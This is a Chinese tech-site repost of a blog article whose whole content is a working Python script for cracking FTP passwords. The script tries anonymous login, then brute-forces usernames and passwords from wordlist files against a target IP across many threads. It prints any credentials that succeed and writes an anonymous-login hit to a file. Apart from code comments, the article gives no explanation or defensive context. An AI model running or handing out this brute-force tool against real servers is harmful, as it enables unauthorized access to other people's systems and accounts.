IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> FTP口令破解脚本编写 -> 正文阅读

[Python知识库]FTP口令破解脚本编写

作者:https://csdnimg.cn/release/blogv2/dist/components/js/pc_wap_commontools-5e28c4e010.min.js
import ftplib
import optparse
import threading


# 使用匿名用户进行登录,如果登录成功则写入FtpSuccess.txt文件
def CheckAnonymous(FTPserver):
    try:
        print('[-] checking user [anonymous] and password [anonymous]')
        f = ftplib.FTP(FTPserver)  # 对主机发起连接,端口默认
        # 对指定的FTPserver指定的端口发起连接,设定timeout
        f.connect(FTPserver, 21, timeout=10)
        f.login()  # 用户名匿名,密码匿名
        print('\n[+] success!!!')
        print('\n[+] Username:anonymous')
        print('\n[+] Password:anonymous')
        rFile = open('./FtpSuccess.txt', 'w+')
        rFile.write('success!!!username:{},password:{}'.format('anonymous', 'anonymous'))
        rFile.close()
        f.quit()
    except ftplib.all_errors:
        pass


class ThreadWork(threading.Thread):
    def __init__(self, ip, usernameBlock, passwordBlock, port):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = int(port)
        self.usernameBlock = usernameBlock
        self.passwordBlock = passwordBlock

    def start(self):
        for a in self.usernameBlock:
            for b in self.passwordBlock:
                self.run(a, b)

    def run(self, username, password):
        try:
            print('[-] checking user[' + username + '],password[' + password + ']')
            f = ftplib.FTP(self.ip)
            f.connect(self.ip, self.port, timeout=15)
            f.login(username, password)
            f.quit()
            print('\n[+] success!!!')
            print('\n[+] Username:{}'.format(username))
            print('\n[+] Password:{}'.format(password))
        except ftplib.error_perm:
            pass


def partition(list, num):
    step = int(len(list) / num)
    if step == 0:
        step = num
    #                                               设列表长为2000,线程为10,那么步长为200
    partList = [list[i:i + step] for i in range(0, len(list), step)]
    return partList


def FTPEXP(ip, usernameFile, passwordFile, threadNumber, ftpPort):
    print('=' * 10 + '破解信息' + '=' * 10)
    print('IP:' + ip)
    print('UserFile:' + usernameFile)
    print('PwsdFile:' + passwordFile)
    print('Thread:' + str(threadNumber))
    print('Port:' + ftpPort)
    print('=' * 26)
    # 进行匿名检查
    CheckAnonymous(ip)
    userlist = [line.strip() for line in open(usernameFile)]
    blockuserlist = partition(userlist, threadNumber)
    pwsdlist = [line.strip() for line in open(passwordFile)]
    blockpwsdlist = partition(pwsdlist, threadNumber)

    threads = []
    for x in blockuserlist:
        for y in blockpwsdlist:
            work = ThreadWork(ip, x, y, ftpPort)
            # 创建线程
            workThread = threading.Thread(target=work.start)
            # 在线程列表中追歼该线程
            threads.append(workThread)
    for t in threads: t.start()
    for t in threads: t.join()


if __name__ == '__main__':
    print('##########################')
    print('#         ganyu          #')
    print('#        ftp exp         #')
    print('##########################')
    parser = optparse.OptionParser(version="%prog 1.0")
    parser.add_option('-i', '--ip', dest='targetIP', default='192.168.200.132', type='string', help='FTP target IP')
    parser.add_option('-t', '--threads', dest='threadNum', default=10, type='int', help='default=10')
    parser.add_option('-u', '--username', dest='userName', default='./users.txt', type='string', help='users file')
    parser.add_option('-p', '--password', dest='passWord', default='./passwds.txt', type='string', help='passwds file')
    parser.add_option('-P', '--port', dest='port', default='21', type='string', help='FTP port')
    (options, args) = parser.parse_args()
    try:FTPEXP(options.targetIP, options.userName, options.passWord, options.threadNum, options.port)
    except:exit(1)

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-04-06 16:14:01  更:2022-04-06 16:15:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 17:40:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码